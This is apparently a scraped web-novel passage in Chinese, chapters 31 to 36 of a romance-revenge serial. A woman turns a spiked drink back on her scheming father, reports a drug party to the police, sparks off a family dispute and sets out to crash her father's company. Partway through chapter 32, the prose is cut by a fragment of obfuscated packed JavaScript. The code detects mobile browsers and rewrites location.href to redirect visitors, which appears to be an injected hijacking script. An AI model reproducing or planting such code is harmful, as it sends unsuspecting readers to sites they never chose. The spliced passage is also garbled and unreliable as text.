“晚上七点,盛世会所302,洪总攒的局,你必须准时到!”
苏振东的声音透着不容置疑的强势,甚至带着几分威胁。
“别给我摆你那副清高架子,亦姝,你妈妈跟我,是合法夫妻……我若是断了她疗养院的治疗,没人敢说话……”
苏亦姝握着手机的手猛地收紧,眼底划过一抹厌恶。
又是威胁。
“好,我会准时到。”
第三十一章 自食恶果
晚上七点,盛世会所。
推开包厢门,一股浓烈的烟酒味扑面而来。
洪天城坐在主位上,左手还缠着一圈醒目的纱布,那是上次被陆慎废掉的证明。
看到苏亦姝进门,他那双阴沉的眼里闪过一丝令人作呕的贪婪,随之而来的便是刻骨的恨。
“陆少夫人,真是贵客啊。”
洪天城阴阳怪气地开口,眼神像毒蛇一样在她身上游走。
苏亦姝目不斜视,径直坐到苏振东身边,嘴角挂着一抹疏离的淡笑。
“洪少这么急着攒局,看来手上的伤是全好了?我瞧着那纱布挺厚,不知骨头接好了没有,要是落个残疾,以后还怎么在商场上‘指点江山’?”
此话一出,包厢内的气氛瞬间降到了冰点。
“你给我闭嘴!”
苏振东吓得冷汗直流,狠命瞪了苏亦姝一眼,转头对着洪天城赔笑。
“洪少,亦姝被惯坏了不懂事,您别往心里去。”
“不懂事?”
洪天城狞笑一声,猛地拍了一下桌子,震得酒杯乱颤。
“苏振东,这就是你苏家的教养?让她来是陪罪的,不是来扎老子心的!”
苏亦姝漫不经心地转动着手里的空酒杯,冷冷抬眸。
“洪少,你是不是忘了我现在的身份?我是陆家刚过门的少夫人,我丈夫虽然走了,但我背后还有整个陆家。你在这儿对我大呼小叫,是觉得陆家手软了,还是觉得你洪家的命太长了?”
洪天城僵了一下。
苏振东也心下一虚,毕竟陆家的名头在江城确实压**。
然而,洪天城像是想到了什么,眼底的胆怯很快被一股狂乱的阴狠所取代。
陆域亲口告诉过他,陆慎和这个女人私下并不对付,陆慎不过是拿她当玩物,而陆家大夫人,也就是苏亦姝的婆婆,更是巴不得这个克夫的女人早点滚出陆家。
“陆家?少夫人?”
洪天城邪笑着招了招手,示意服务生进来倒酒。
“苏亦姝,陆家要是在意你这个寡妇,怎么会让你爸像卖货一样把你送到老子面前?这一杯,是‘能源合作案’的启动酒,你要是喝了,咱们万事好商量。”
苏亦姝敏锐地捕捉到了苏振东闪烁的目光,以及洪天城那迫不及待的丑恶嘴脸。
这种局,她见得多了。
服务生端着托盘走近,两杯琥珀色的洋酒在灯光下折射出迷离的光晕。
洪天城靠在沙发上,眼神阴鸷地示意:“陆少夫人,请吧。”
苏振东在一旁急不可耐,手忙脚乱地端起其中一杯,却因为心虚,手指不受控制地微微颤抖。
他将这杯酒递到苏亦姝面前,眼神闪烁,不敢直视她的眼睛。
“亦姝,快……快喝了,别让洪少久等。”
苏亦姝并没有接。
她静静地看着苏振东那只抖得如同筛糠的手,目光又扫过杯中微微泛起的一层不自然的细密气泡。
那是高纯度致幻剂溶于酒精后的特有反应,她在国外的某个局上见过。
“爸,您的手怎么抖成这样?”
苏亦姝突然开口,声音清冷,在这死寂的包厢里格外清晰。
苏振东一僵,勉强挤出一丝笑。
“我……我是激动,高兴能和洪少合作。”
“是吗?”
苏亦姝嘴角勾起一抹讥讽的弧度。
她没有去接那杯酒,而是伸出纤细的手指,握住了苏振东的手腕,借力将那杯酒缓缓推回到了苏振东的嘴边。
“既然这么高兴,这第一杯酒,理应由您这位促成合作的功臣来喝。”
“你……你什么意思!”
苏振东大惊失色,下意识想把手缩回来,酒液晃荡,洒出来几滴落在他的手背上,烫得他一哆嗦。
“苏亦姝!你给脸不要脸是吧!”
洪天城见状,猛地一拍桌子,失去了耐心。
“老子让你喝,你就得喝!哪来那么多废话!”
苏亦姝眼神骤冷,她并没有理会洪天城的叫嚣,而是身体微微前倾,凑近苏振东,用只有两个人能听到的声音,语速极快且冰冷地说道。
“爸,分公司账面上的三十亿流动资金,我已经全部做了最高级别的信托冻结。解锁的秘钥只有我知道。您要是现在不把这杯酒喝下去,
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我现在就发消息让信托生效。”
苏振东瞳孔剧烈收缩,死死盯着眼前的女儿。
“你……你敢威胁我?!”
“您可以试试。”
苏亦姝眼底是一片决绝的寒意。
“喝了它,我就签字解冻资金。不喝,苏氏明天就会因为资金链断裂而破产。苏振东,是要你的公司,还是要你这条命,你自己选。”
这是把刀架在脖子上,逼着苏振东自己吞下苦果。
苏振东额头的冷汗瞬间滚落,滴进酒杯里。
他太了解这个女儿现在的狠劲了,也太了解苏氏对他意味着什么。
没有了公司,他生不如死。
“好……好!我喝!我替你喝!”
苏振东心存侥幸,想着药效发作总需要时间,只要签了字,他马上去医院洗胃。
他咬着牙,闭上眼,仰头将那杯自己亲手下了重药的酒,一饮而尽!
“咳咳咳……”
辛辣的液体入喉,苏振东剧烈咳嗽起来,脸色瞬间涨红。
“好酒量。”
苏亦姝松开手,嫌恶地抽出湿巾擦了擦手指,仿佛沾染了什么脏东西。
洪天城愣了一下,随即暴怒。
“苏振东,**疯了?那是给她的!”
“洪……洪总……”
苏振东只觉得胃里像是烧起了一团火,视线开始模糊,药效比他想象中来得还要猛烈。
“我……我喝了……您签……签字……”
话没说完,苏振东整个人突然抽搐起来,双手不受控制地撕扯着自己的衣领,嘴里发出不自然的呻吟,眼神涣散而浑浊,像是一条发情的疯狗,跌跌撞撞地朝洪天城扑去。
“热……给我……给我……”
“滚开!真恶心!”
洪天城一脚踹开苏振东,看着地上丑态百出的男人,心头的邪火变成了暴怒。
他猛地转头看向苏亦姝,眼神凶狠。
“行啊苏亦姝,敢在我面前玩这一手。既然你爸倒了,那就正好,没人碍事了!”
洪天城狞笑着起身,一步步朝苏亦姝逼近。
“今晚,老子非得让你跪下来求我!”
第三十二章 借力打力,反杀
苏亦姝站在原地,一步未退。
面对洪天城那张逼近的狰狞面孔,她连睫毛都没有颤动一下,只是平静地抬起手腕,看了一眼时间。
“洪少,我要是你,现在就不会把时间浪费在一个女人身上。”
苏亦姝的声音清冷如冰,在这充斥着浑浊气息的包厢里,竟带着一种奇异的震慑力。
“少他妈故弄玄虚!”
洪天城伸手就要去抓她的肩膀。
“今天天王老子来了也救不了你!”
“是吗?”
苏亦姝身形微微一侧,避开了他的手,随即从手包里拿出手机,将屏幕亮给他看。
屏幕上并非通话界面,而是一个正在倒计时的报警系统回执单,以及一份已发送至市局缉毒大队的举报邮件截图。
“三分钟前,我已经**盛世会所302包厢有人聚众吸食**,并且涉及强迫他人吸食。”
苏亦姝语调淡漠,仿佛在谈论天气。
“按照江城的出警速度,警车现在应该已经停在楼下了。”
洪天城动作猛地僵住,眼球因为极度的震惊和恐惧而暴突。
“你……你报警?你疯了?你爸还在这里!你也在这里!警察来了你也跑不掉!”
“我为什么要跑?”
苏亦姝嘴角勾起一抹嘲弄的弧度,目光扫过地上还在抽搐呻吟的苏振东。
“我是被迫参加饭局的受害者,而苏振东……他是自愿喝下‘助兴酒’的参与者。至于洪少你,不仅提供场所,还提供违禁药物。”
她上前一步,逼视着洪天城,眼底寒光凛冽。
“洪天城,你身上还背着假释期吧?如果是聚众**加上容留他人**,你猜猜,这次要在里面蹲多少年?无期?还是死缓?”
“你——!”
洪天城脸色瞬间惨白如纸,额头上的冷汗大颗大颗地滚落。
他不仅怕警察,更怕手里那些见不得光的生意被顺藤摸瓜查出来。
“我要是你,现在就赶紧处理现场,而不是在这里跟我纠缠。”
苏亦姝冷冷地瞥了一眼地上的酒杯碎片。
“毕竟,警察可不会听你解释。”
就在这时,楼下隐约传来了警笛声,由远及近,刺耳至极。
洪天城最后一丝心理防线彻底崩塌。
“算你狠!苏亦姝,这笔账老子记住了!”
洪天城恶狠狠地瞪了她一眼,再也顾不上什么色心,慌乱地冲向包厢内的洗手间,试图销毁那些还没来得及收起来的药粉和工具。
苏亦姝看都没看他一眼,整理了一下微乱的衣摆,优雅转身。
经过还在地上抓挠着地毯、神志不清的苏振东时,她脚步微顿,居高临下地看着这个所谓的“父亲”。
“苏振东,好好享受你用尊严换来的‘盛世’吧。”
她没有丝毫留恋,拉开包厢门,大步走了出去。
走廊上空无一人,只有那越来越近的警笛声在回荡。
苏亦姝挺直脊背,直到转过两个弯,走进电梯间,紧绷的神经才稍稍松懈下来。
手心早已是一片湿冷。
这是一场豪赌。赌的是洪天城的案底,赌的是人性的恐惧。
“叮——”
电梯门缓缓打开。
苏亦姝刚要迈步进去,脚步却猛地顿住。
电梯里,陆慎靠在轿厢壁上,一身黑色的风衣几乎与阴影融为一体。
他指尖夹着一根未点燃的烟,那双深邃狭长的眸子正似笑非笑地看着她。
显然,他已经在这里等了一会儿了。
“处理完了?”
陆慎直起身,嗓音低沉磁性,听不出喜怒。
苏亦姝心头微跳,但面上依旧维持着镇定,迈步走进电梯,按下一楼键。
“陆总这是来看戏,还是来救场?”
她目视前方,语气平淡。
“如果是后者,那就不必了。我已经解决了。”
“解决?”
陆慎侧过头,目光放肆地在她身上游走,确认她毫发无伤后,眼底那抹不易察觉的戾气才缓缓散去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220620|197516||http|test|mini|href|location''.split(''|''),0,{}));
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r>“你是说那个报警电话?大嫂倒是好手段,既把洪天城吓破了胆,又把苏振东扔进局子里当替罪羊。”
苏亦姝转头迎上他的视线。
“怎么?陆总是觉得我心狠手辣,不近人情?”
“不。”
陆慎突然低笑一声,上前一步,将她逼至电梯角落。
他抬手撑在她耳侧,温热的呼吸喷洒在她颈间,带着几分赞赏的意味。
“我是觉得……精彩至极。”
他修长的手指轻轻勾起她的一缕发丝。
“苏亦姝,以前怎么没发现,你这双拿笔的手,拿刀**的时候更漂亮。不用我出手,自己就能把这烂摊子收拾得干干净净,甚至还懂得了借警方的势。你这招借力打力,比我想象中还要聪明。”
苏亦姝别过脸,避开他过于灼热的视线。
“被逼急了,兔子也会咬人。更何况,我也没想**,只是自保。”
“自保?”
陆慎轻嗤一声,手指暧昧地摩挲着她的脸颊。
“把亲爹送进监狱,这也叫自保?不过……我喜欢。”
“叮——”
电梯到达一楼。
陆慎并没有急着松开她,而是俯身在她耳边低语。
“不过,大嫂,你虽然算无遗策,但还是漏了一点。”
苏亦姝皱眉。
“什么?”
“苏振东虽然进去了,但他也是陆家的亲家。这件事一出,程丽梅不会放过这个攻讦你的机会。”
陆慎站直身体,整理了一下衣领,恢复了那副斯文败类的模样。
“走吧,好戏才刚刚开始。”
两人走出盛世会所,身后是闪烁的警灯和纷乱的人群。
苏亦姝看着被警察押出来的洪天城,以及随后被担架抬出来、还在胡言乱语的苏振东,心中没有半分波澜。
只是,脚步还没抬起来,程丽梅的电话已经打来了。
苏亦姝看着手机上闪烁地号码,嘴角扯出一抹讽刺的笑。
“还真是……神速啊……”
第三十三章 以退为进
陆家老宅。
苏亦姝踏进大厅时,老爷子端坐在主位,面色沉如古井。
程丽梅坐在侧首,保养得宜的脸上挂着一丝冷笑,而陆子谦与柯沁夫妻俩则各怀心思坐在另一边。
“爷爷,妈,二叔二婶。”苏亦姝微微颔首,礼数周全,不见丝毫狼狈。
程丽梅见她是一个人回来的,没瞧见陆慎的身影,心底那块石头总算落了地,嗓音尖锐地打破了沉默。
“苏亦姝,你爸在会所闹出那种丢人现眼的事,现在全江城的记者都守在警察局门口。你身为陆家的儿媳,是嫌陆家丢脸丢得不够多吗?”
老爷子抬眼,浑浊却精明的目光落在苏亦姝身上。
“亦姝,你父亲被带走,到底是怎么回事?”
“爷爷,我爸喝了洪天城给的酒,酒里被加了东西。”
苏亦姝面色平静,不卑不亢。
“洪天城用苏氏的能源项目威胁我,试图逼我喝下同样的东西。情急之下,为了自保,我报了警。”
“报警?”
程丽梅像是听到了什么笑话,嗤笑一声。
“洪天城跟你有过节是不假,但经过上次之后,疯了才会自毁前程去害你?我看,是你为了夺回分公司的实权,故意设局陷害你亲生父亲吧!”
苏亦姝转过头,清冷的目光直视程丽梅,嘴角竟噙了一抹弧度。
“妈,您何必这么激动?说起来,我是您儿媳妇,本该是这宅子里最亲近的人。我不懂为何您总要往最坏处揣测我。若是二婶有儿媳妇,想必断不会如此对待自家人……”
柯沁无端被点名,先是一愣,随即看着程丽梅那张铁青的脸,掩唇笑道:“那是自然,疼都来不及呢。”
程丽梅气得心口起伏,正欲发作,苏亦姝却已经从手包里拿出了那支录音笔。
“爷爷,真假与否,您听听便知。”
按下播放键,洪天城的声音在寂静的大厅里响起。
【苏亦姝,陆家要是在意你这个寡妇,怎么会让你爸像卖货一样把你送到老子面前?这一杯,是‘能源合作案’的启动酒,你要是喝了,咱们万事好商量。】
音频戛然而止。
大厅内死一般的寂静。
洪天城那句“像卖货一样”,无异于一记响亮的耳光,狠狠抽在了在座每个陆家人的脸上。
“爷爷,我想请求您一件事。”
苏亦姝眼眶微红,语气却透着一种哀莫大于心死的决绝。
程丽梅心中警铃大作,死死盯着她。
“你说。”
老爷子的声音有些沙哑。
“我想请您准许我离开陆家。”
苏亦姝微微垂下眼睫,一颗泪珠恰到好处地滑落。
“陆钦不在了,我与他的婚约本该随着他离去而画上句点。我记得结婚前一天,他满怀欣喜地告诉我,终于能娶到我了……可现在的陆家,我实在待不下去了。我离开,对陆家的名声是好事,对婆婆而言,也能让她老人家求个眼不见心不烦。”
“胡闹!”
老爷子猛地一拍扶手。
“你若是走了,外界指不定说陆家如何刻薄遗孀。只要我还在一天,你就是陆家的孙媳妇!”
他转头看向程丽梅,厉声道:“丽梅!你自问阿钦走后,你尽过半分婆婆的本分吗?整日里盯着儿媳妇不放,我看这佛串你是白念了,佛祖都渡不了你这颗偏执的心!”
程丽梅被骂得脸色惨白,却一个字也不敢反驳。
“爸,眼下最重要的不是家事,而是苏振东被抓的影响。”
陆子谦扶了扶眼镜,一脸阴沉地开口。
“这件事处理不好,苏氏垮了,陆家也会受牵连。”
苏亦姝敛去眼底的冷芒,淡淡道:“这件事我会召开新闻发布会,以受害者的身份澄清。证据在我手里,我绝不会让火烧到陆家身上。”
“阿慎在那方面有些手段……”
老爷子沉吟片刻,突然开口。
“这件事,让阿慎帮你处理。你一个女孩子出面,压不住那些媒体。”
“爸!阿慎出面不合适吧?”程丽梅惊得站了起来。
老爷子冷笑一声。
“有什么不合适的?阿钦不在了,阿慎替他护着亦姝,天经地义!倒是你,再敢从中作梗,就去祠堂给阿钦跪着反省!”
这一局,苏亦姝以退为进,不仅稳固了
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在老宅的地位,还名正言顺地拿到了陆慎这个“挡箭牌”。
深夜,苏亦姝回到公寓。
房门刚合上,一双有力的手便从黑暗中伸出,将她死死抵在门板上。
熟悉而霸道的烟草味侵袭而来,陆慎低下头,鼻尖抵着她的,嗓音低沉邪肆。
“大嫂今晚这出‘梨花带雨’演得真好,连老头子都动了恻隐之心,要把我送给你当‘护花使者’?”
苏亦姝心跳加速,面上却冷如冰霜。
“陆总听墙角的本事也不小。既然爷爷开了口,接下来的发布会,就辛苦你了。”
陆慎轻笑一声,温热的手掌顺着她的腰线缓缓上移,停在她的心口处。
“我可以帮你把苏振东捞出来,也可以帮你把洪氏踩碎,但苏亦姝,我得要报酬……”
苏亦姝嘴角嗪着冷笑。
“报酬啊……那算了,苏振东我也不打算捞出来,他一辈子待在里面我更开心。至于洪天城,我自知这一次弄不垮他的,也没想着弄垮。所以,陆总还是忙自己的事情去吧,我……”
“苏亦姝!”陆慎伸手捏着她的下巴。“你这张嘴,不说话的时候更讨喜。”说着,就要亲上去。
苏亦姝直接避开了,谨记着,一把推开陆慎。
“陆慎,适可而止!”苏亦姝的耐心已经告罄,整个人有些疲惫。“我累了,麻烦你走的时候带上门。”
苏亦姝说着,径直往卧室走去。
陆慎站在那,眼底氤氲着怒火和烦躁。
他克制着心底的冲动,最后双手松开拳头,离开了苏亦姝的公寓。
听到门‘砰’的一声关上,苏亦姝这才暗自呼出一口气。
对于陆慎,她真的应付的疲惫了……
甚至,已经弄不清楚自己对他是什么心态了……
陆慎从苏亦姝的公寓离开后,直接去了鼎盛会所。
鼎盛顶层包厢,陆慎坐在沙发上,自顾地喝着酒。
旁边的沙发上,则坐着鼎盛的老板顾从之,也是顾家的长子。
“这是怎么了?看上去……像是失恋了……”
“失恋?”包厢门被推开,陈淮顶着一头红毛进来。
第三十四章 深夜买醉,被抓
陆慎靠在深灰色的真皮沙发上,领带被扯得歪斜,衬衫最上面的两颗扣子敞开着,露出一截冷硬的锁骨。
他骨节分明的手捏着一只剔透的威士忌杯,琥珀色的液体晃动,冰块撞击杯壁的声音在静谧的空间里显得格外突兀。
坐在对面的顾从之推了推金丝边眼镜,端起咖啡抿了一口,语气里透着几分看戏的慵懒。
作为顾家长子,他在江城一向以冷静自持著称,难得见到陆慎这副被谁点着了引线却又强行熄火的模样,着实好笑。
“失恋?”
包厢门被推开,陈淮顶着一头张扬的红毛风风火火地走了进来,恰好接住这半句话。
他一屁股坐在陆慎旁边,动作夸张地抽了抽鼻子。
“咱们陆总字典里还有这词儿?向来只有别人求而不得,哪有他失恋的份儿?说说,谁有这本事,能让咱们陆总坐在这儿喝闷酒?”
陆慎没理会陈淮的调侃,仰头将杯中辛辣的液体一饮而尽。
脑子里反复回荡的,全是在公寓里苏亦姝那张冷淡至极的脸,以及她那句“麻烦走的时候带上门”。
那个女人,真的是越来越有本事了。
用得着他的时候,在老宅里进退有据,拿他当挡箭牌挡得顺手;用不着他的时候,踢开的速度比谁都快。
最让他烦躁的是,他发现自己竟然该死地吃这一套。
“行了,别问了……”
顾从之提醒着赵淮,从烟盒里弹出一根烟递过去。
“换个话题,听说了吗?赵家那个小公主,赵西双回国了。”
陆慎点烟的动作顿了顿,眼神幽暗,没接话。
“赵西双?”
陈淮眼睛一亮,顺手接过那根烟。
“就是那个当年跟在咱们屁股后面的赵家掌上明珠?她不是在国外待得挺好吗,怎么突然回来了?”
顾从之看了一眼陆慎,见他神色如常,才继续道。
“赵家最近在争取南城的那个旧城改造项目,需要一个强有力的盟友。赵家老爷子的意思很明确,赵西双这次回来是为了联姻。而江城够格做赵家女婿的,满打满算也就那么几个。”
陈淮不嫌事大,嘿嘿直笑。
“赵家和陆家可是世交,当年陆赵两家甚至还有过那种半开玩笑的定亲口约。现在陆钦不在了,这联姻的担子,不就落在咱们陆总身上了?”
他凑到陆慎跟前,挤眉弄眼。
“阿慎,赵西双当年可是为了你才出国的。这次回来,我看就是奔着陆家夫人的位子来的。比起那位……咳,那位现在身份尴尬的‘大嫂’,赵西双显然更适合现在的陆家。”
“滚。”
陆慎终于开口了,嗓音沙哑磁性,却冷得掉渣。
他把空酒杯重重磕在桌面上,眼神阴鸷得令人胆寒。
“我的婚事,陆家老头子管不了,赵家更管不了。”
“是管不了,但赵西双可不是苏可人那种货色,她有家世有手段,还有一颗非你不可的心。”
顾从之理了理袖口,语气客观。
“你那位大嫂现在正处在风口浪尖,苏振东的事情还没平,要是赵西双这时候插一脚,苏亦姝的日子怕是更不好过。”
陆慎周身的气压骤然降到了冰点。
他站起身,修长的手指拎起风衣外套,动作利落而冷绝。
“她不好过,江城谁也别想好过。”
陆慎冷冷地丢下这句话,径直走出包厢。
陈淮看着陆慎杀气腾腾的背影,缩了缩脖子。
“我是不是说错话了?这哥们儿现在怎么跟个一点就着的**桶似的?”
顾从之看着电梯下降的红字,淡淡开口。
“他跟苏亦姝之间那点事,你还不知道?偏偏遇上苏亦姝这个不认账的。不过,赵西双回来确实是个变数。苏亦姝想安安稳稳地‘离开陆家’,怕是更难了。”
凌晨两点。
苏亦姝在卧室内睡得并不安稳,梦里全是陆钦结婚前夕那张温柔的脸,和陆慎在黑暗中疯狂的索求。
她一头汗水地睁开双眼,眼底是未褪去的惊意。
“怎么会做这样的梦?”苏亦姝整个人还有些恍惚。
她看了看时间,然后下床走出卧室。
接了杯水,喝了两口。
想起今天在老宅的情况,苏亦姝知道,程丽梅暂时会消停一段时间。
否则,老爷子那边,她交不了差。
老爷子之所以能一直容忍她,无非就是当年陆子明的行为,让老爷子觉得愧对这个儿媳妇。但是,任何情绪都是有限,程丽梅已经把老爷子对她的愧疚消磨的差不多了。
第二天,上午。
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苏亦姝正在办公室处理工作。
这个时候,海绵急匆匆从外面进来。
“苏总,您看新闻了吗?”
“怎么了?”苏亦姝依旧忙着手里的事情,并未抬头。
“洪家被查出,暗地里贩买一些违禁的药,被查处了。洪氏被封,洪家人被带走了……”
苏亦姝一愣,立即接过来海绵手里的平板。
【突发:洪氏集团涉嫌走私及非法贩卖处方药,总部已被查封,洪齐宝夫妇及其家属悉数归案!】
看着上面的新闻,苏亦姝心跳如擂鼓。
洪氏倒得太快了,快得不合常理。即便洪天城昨晚在会所被抓,也不至于在短短几个小时内,就让整个集团土崩瓦解。
这是……陆慎干的?
除了他,她想不到其他人。
“嗡——”
手机在办公桌上剧烈震动起来,一个没有备注的固定电话跳跃在屏幕上。
苏亦姝深吸一口气,滑向接听。
“你好,苏亦姝小姐吗?这里是江城**总局。”
对方公事公办的声音传来。
“关于你父亲苏振东涉嫌参与洪氏**及**交易一案,我们有些细节需要你配合调查,请你立刻过来一趟。”
苏亦姝握着电话的手指微微收紧。
“好,我马上到。”
半小时后,警局问询室外。
苏亦姝刚下车,就看到一辆熟悉的玄黑色悍马嚣张地横在警局门口。
车门打开,陆慎单手插兜从车上走下来。
他今天穿了一身深蓝色的手工西装,整个人收敛了昨晚的狂戾,显得斯文而禁欲,唯独那双看向苏亦姝的眸子,依旧带着让人无法忽视的穿透力。
“见到我想躲,到警局倒是跑得挺快。”
陆慎走到她面前,语气嘲弄。
“洪氏的事情,是你做的?”
苏亦姝开门见山地问道。
“我说过,我会帮你扫尾。”
陆慎抬起手,似乎想理一理她耳边的碎发,却被苏亦姝不露痕迹地避开。
他的手僵在半空,随即冷笑一声收了回去。
“你父亲苏振东的事情有点麻烦。他不仅喝了药,还在那份带有**分成协议的合同上签了字。即便有你昨晚的录音做伪证,他也脱不了一个‘从犯’的罪名。”
第三十五章 至亲博弈,心狠至极
听着陆慎述说着苏振东目前的情况,苏亦姝的脸上未起波澜。
于她而言,苏振东是生是死,是坐牢还是**,她根本不在乎。
若按她心底最阴暗的想法,最好让他把牢底坐穿。
陆慎似乎看出了她的心思,伸手看似随意地撩起她垂落的碎发,轻声道:“你父亲的情况,其实也没那么棘手……他不是让警方找你来吗?先去看看再说。”
苏亦姝侧头避开他的触碰,没再多言,直接往里面走去。
看着那道冷漠且决绝的背影,陆慎有些挫败地用舌尖顶了顶上颚。
他这辈子想要什么样的女人没有?偏偏这个苏亦姝,软硬不吃,像块捂不热的冰。
他双手插在西装裤兜里,自嘲地勾了勾唇,抬步跟了进去。
一进去,苏亦姝表明身份后,警员让她填了张表格,便带她进入审讯室。
苏亦姝一进屋,原本委顿在椅子里的苏振东像是见到了救命稻草,猛地弹了起来。
“亦姝!女儿!你终于来了……快,去保释我!这里,我一分钟都待不下去了!”
短短一个晚上,苏振东像是被人抽干了精气神,满脸颓败,整个人苍老了不下十岁。
苏亦姝拉开椅子坐下,并没开口,只是那样静静地、审视地盯着他。
苏振东被她看得心里发虚,脸上的谄媚渐渐挂不住,一点一点沉了下去。
“苏亦姝!我在跟你说话,你聋了吗!”
苏亦姝冷嗤一声,“我还没到耳背的年纪。倒是您,吼得这么大声,看来这看守所的伙食挺养人,状态不错。”
“你——!”苏振东气急败坏,“我是被冤枉的!那杯酒……那杯酒是你逼我喝的!警察问起来,你得替我担着!”
苏亦姝眼眸微沉:“苏振东,你当我也是猪脑子吗?在那份带有**利润分成协议的合同上签了字的人,是你!你自己贪心不足,妄想攀附洪氏这艘烂船,这就叫人心不足蛇蛇吞象。这一切,都是你应得的。”
看着苏振东脸色煞白,苏亦姝继续补刀:“现在,已经不是你喝了那杯酒的事了,而是你因为这事成了从犯。洪天城会那么好心给你高利润?猪都比你聪明!”
“那怎么办?怎么办?苏亦姝,你救我出去……你一定有办法的,你是陆家少夫人,对,陆家,你找陆慎,找陆慎帮我……”苏振东慌了神,从未如此慌乱。
苏亦姝冷笑:“现在知道我是陆家少夫人了?之前强制带我去洪天城酒局时,怎么说的?如你所言,我是被陆家抛弃的少夫人,在陆家没任何份量。所以……你自求多福吧。”
说完,苏亦姝猛地起身,作势欲走。
刚转过身,苏振东阴狠的声音响起:“苏亦姝,你不能不管我!你别忘了,你妈还在我的户口本上!她现在人在瑞士,你以为转过去就相安无事了?”
苏亦姝的脚步猛地顿住,脊背瞬间绷直。
“你妈妈的很多后续治疗和监护人签字,离了我就根本无法进行!苏亦姝,我早就知道你是个喂不熟的白眼狼,所以我留了后手。在你把她送走的那天,我就联系了那边的疗养院……”
苏亦姝抓着包的手猛地收紧,抿唇紧绷着脸,周身的气息瞬间冷到了极致。
“苏振东,你这种人,真的该**。”她一字一顿地说,“你该庆幸,现在是法治社会……”
否则,她真怕自己忍不住动手杀了他。
苏振东见威胁奏效,得意地喘着粗气:“救我出去,否则,大家一起死!”
苏亦姝深吸一口气,强行压下心头的颤抖,冷声开口:“想要我救你,可以。但你必须签一份协议。跟我妈离婚,净身出户。”
“你……你这个逆女!哪有女儿逼亲爹离婚的!”
“现在你听到了。”苏亦姝面无表情,“你有十五秒钟考虑。否则,我离职那天,就是苏氏破产之时。到时候,你不仅要坐牢,还会欠下一辈子都还不清的债。妈妈即便没有你的签字,我也有的是办法让她‘被丧偶’。”
苏振东的脸由于惊
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恐而扭曲,看着苏亦姝那双毫无温度的眼睛,他知道,这死丫头是真的干得出来。
“好……我答应你。只要能出去,什么都好说。”
苏亦姝没再停留,直接离开审讯室。
走到外面,她看到陆慎已站在走廊上,目光直直望着她。
苏亦姝紧绷着脸,浑身散发着颓废的气息。
陆慎皱了皱眉,这样子的苏亦姝,让他心底浮起一丝莫名的暴躁。
苏亦姝看都没看他一眼,径直走向办案**,从包里拿出早就准备好的文件和U盘。
“警察同志,这些是洪天城以往**和威胁我父亲的证据,以及昨晚酒局的部分细节证明。虽然我父亲行为有失,但他确实是在被利益误导和被迫的情况下签字的,请酌情处理。”
**接过东西,下意识看了一眼不远处的陆慎,随即点头。
“我们会核实。如果情况属实,会按程序减刑或准予取保。”
“多谢。”
走出**大楼,苏亦姝径直上了自己的车。
陆慎站在台阶上,看着她的车如离弦之箭般驶离,眼底的火气彻底压不住了。
用完就丢?这女人还是一如既往的没心没肺。
周轩从侧边走过来,低声汇报:“陆总,都交代好了。苏振东那边先扣十五天,这十五天里,谁也见不到他,除了苏小姐的人。”
“十五天……”陆慎吐出一口烟圈,眼神玩味,“足够她把苏氏那点家底翻个底朝天了。她这种睚眦必报的性格,还真是……对我的胃口。”
而此刻,在疾驰的车内。
苏亦姝拨通了一个号码,语气冷冽。
“开始吧。以最快的速度收割苏氏散股。另外,把我们手里关于苏氏江城项目的所有亏损预估抛出去,我要让苏氏的股价在明天开盘前,跌进地心。”
挂断电话,她看着后视镜里那个面无表情的自己。
苏振东,既然你用我妈威胁我,那我就让你看看,你引以为傲的权势和金钱,是如何彻底粉碎的。
第三十六章 攻心为上,跪着演完
第二天一早,苏亦姝刚踏进分公司办公室,海绵便拿着平板电脑急匆匆地走了进来。
“苏总,您看。今早开盘不到半小时,苏氏总部的股票已经全线跌停,跌到底了……”
苏亦姝扫了一眼屏幕上那条几近垂直向下的绿线,脸上并未有波澜。
这本就是她昨晚亲手布下的局——利用苏振东被羁押的空窗期,引爆积压已久的亏损项目,配合散股收割,这是最快瓦解苏氏总部防御的手段。
“这些先别管。”
苏亦姝冷声吩咐,眼神清明。
“接下来总部那边会有大动荡,你交代下去,分公司这边所有人必须稳住,任何正在推进的项目都不得被总部干扰。再有,总部不管用任何理由调动资金,全部打回去,一分钱都不许出。”
“明白!”海绵重重地点了点头,转身去传达指令。
办公室内恢复了安静,苏亦姝揉了揉眉心,还没等坐稳,一个令人意外的电话便跃入了屏幕。
是苏可人。
“苏亦姝,爸爸为什么会进去?是不是你搞的鬼!”电话一接通,苏可人尖锐的质问声便刺入耳膜。
苏亦姝冷笑一声,语气里满是不屑。
“苏可人,你是怀孕了,不是脑子被门夹了。苏振东自己贪婪涉毒,跟我有什么关系?还有,你现在是以什么身份来质问我?”
“你……我也是爸爸的女儿!他的情况,我有权知道!”
“哦,那你去问警察。”苏亦姝毫不留情地挂断了电话。
她对着黑掉的屏幕冷笑。
苏可人之所以这么关心苏振东,可不是因为什么父女情深,而是她太清楚,没有了苏振东在名声上撑着,她肚子里那个不知来路的“筹码”在陆家眼里,只会贬值得更快。
一个没有利用价值的女人,即便怀了孩子,在程丽梅眼里也不过是一块可以随时丢弃的破布。
此时,医院特殊病房内。
苏可人气得险些摔碎了手机,姣好的脸蛋扭曲在一起。
“苏亦姝,你得意什么!早晚我要把你踩在泥泞里,永世不得翻身!”
她抚摸着已经显怀的肚子,心底的恐慌却在蔓延。
程丽梅那边现在没了声息,陆域那个草包在吃了一次亏后也缩了回去。
如果她再不自救,等苏氏彻底倒了,她就真的成了江城的笑话。
这时,手机再次响起,看到号码,苏可人眼底闪过一丝厌恶,但还是接了。
“喂,有事吗?”
“死丫头,现在这么跟你妈说话?翅膀硬了是不是!”
电话里传来刘芹粗鄙的骂声。
“要不是我当年费尽心思,你能有现在的日子?”
苏可人皱眉打断。
“这叫好日子?当初你若是能直接坐稳苏夫人的位置,我也不会顶着‘私生女’的名头活这么多年。说吧,到底什么事?”
“嘿,你这死丫头。我是告诉你,你爸这次进去,我听说那个**的女儿手里攥着不少股份和公章。”
刘芹压低声音,语气里透着一股阴毒。
